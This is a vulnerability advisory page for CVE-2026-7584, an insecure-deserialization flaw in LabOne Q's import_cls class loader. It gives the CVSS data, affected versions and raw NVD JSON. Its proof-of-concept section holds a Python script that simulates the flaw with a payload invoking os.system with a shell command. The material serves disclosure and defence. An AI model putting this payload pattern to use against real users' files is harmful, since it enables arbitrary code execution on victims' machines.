Security Vulnerability Report
中文
CVE-2026-7584 CVSS 7.8 HIGH

CVE-2026-7584

Published: 2026-05-01 08:16:02
Last Modified: 2026-05-04 18:23:58

Description

The LabOne Q serialization framework uses a class-loading mechanism (import_cls) to dynamically import and instantiate Python classes during deserialization. Prior to the fix, this mechanism accepted arbitrary fully-qualified class names from the serialized data without any validation of the target class or restriction on which modules could be imported. An attacker can craft a serialized experiment file that causes the deserialization engine to import and instantiate arbitrary Python classes with attacker-controlled constructor arguments, resulting in arbitrary code execution in the context of the user running the Python process. Exploitation requires the victim to load a malicious file using LabOne Q's deserialization functions, for example a compromised experiment file shared for collaboration or support purposes.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zhinst:labone_q:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zhinst:labone_q:26.4.0:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zhinst:labone_q:26.4.0:beta2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zhinst:labone_q:26.4.0:beta3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zhinst:labone_q:26.4.0:beta4:*:*:*:*:*:* - VULNERABLE
LabOne Q (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-7584 # This script demonstrates how to craft a payload that exploits the insecure import_cls mechanism. import json import os # Simulating the vulnerable class loading behavior # In the actual vulnerability, this is triggered by deserializing a LabOne Q file. def vulnerable_import_cls(class_path, args): # This simulates the lack of validation in the vulnerable LabOne Q version module_path, class_name = class_path.rsplit('.', 1) module = __import__(module_path, fromlist=[class_name]) cls = getattr(module, class_name) return cls(*args) # Malicious payload structure # The attacker specifies a dangerous class and arguments malicious_payload = { "class_to_load": "os.system", # Arbitrary class path "arguments": ["echo 'CVE-2026-7584 Exploited'"] # Attacker-controlled arguments } print(f"[*] Crafting malicious payload: {malicious_payload}") try: # Simulating the victim loading the malicious file print("[*] Victim loads the malicious experiment file...") result = vulnerable_import_cls( malicious_payload['class_to_load'], malicious_payload['arguments'] ) print(f"[!] Code executed. Return value: {result}") except Exception as e: print(f"[Error] {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7584", "sourceIdentifier": "[email protected]", "published": "2026-05-01T08:16:01.913", "lastModified": "2026-05-04T18:23:58.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LabOne Q serialization framework uses a class-loading mechanism (import_cls) to dynamically import and instantiate Python classes during deserialization. Prior to the fix, this mechanism accepted arbitrary fully-qualified class names from the serialized data without any validation of the target class or restriction on which modules could be imported. An attacker can craft a serialized experiment file that causes the deserialization engine to import and instantiate arbitrary Python classes with attacker-controlled constructor arguments, resulting in arbitrary code execution in the context of the user running the Python process. Exploitation requires the victim to load a malicious file using LabOne Q's deserialization functions, for example a compromised experiment file shared for collaboration or support purposes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zhinst:labone_q:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.41.0", "versionEndExcluding": "26.1.2", "matchCriteriaId": "DFA5365C-467B-4706-853F-6790EA3BE8B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zhinst:labone_q:26.4.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "DCBCF62F-7C10-4A5B-BAFD-F306F19A3AC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zhinst:labone_q:26.4.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "2685B96C-478C-4767-9282-B8FD883111D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zhinst:labone_q:26.4.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "E31013A1-4311-49E7-93CF-1E00D79609CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zhinst:labone_q:26.4.0:beta4:*:*:*:*:*:*", "matchCriteriaId": "FA88B146-1C99-44F7-86B5-9F81754270BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zhinst:labone_q:26.4.0:beta5:*:*:*:*:*:*", "matchCriteriaId": "2DF7C457-282A-4BEF-BDB0-B40A7FC2631C"}]}]}], "references": [{"url": "https://www.zhinst.com/support/security/2026/zi-sa-2026-002/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}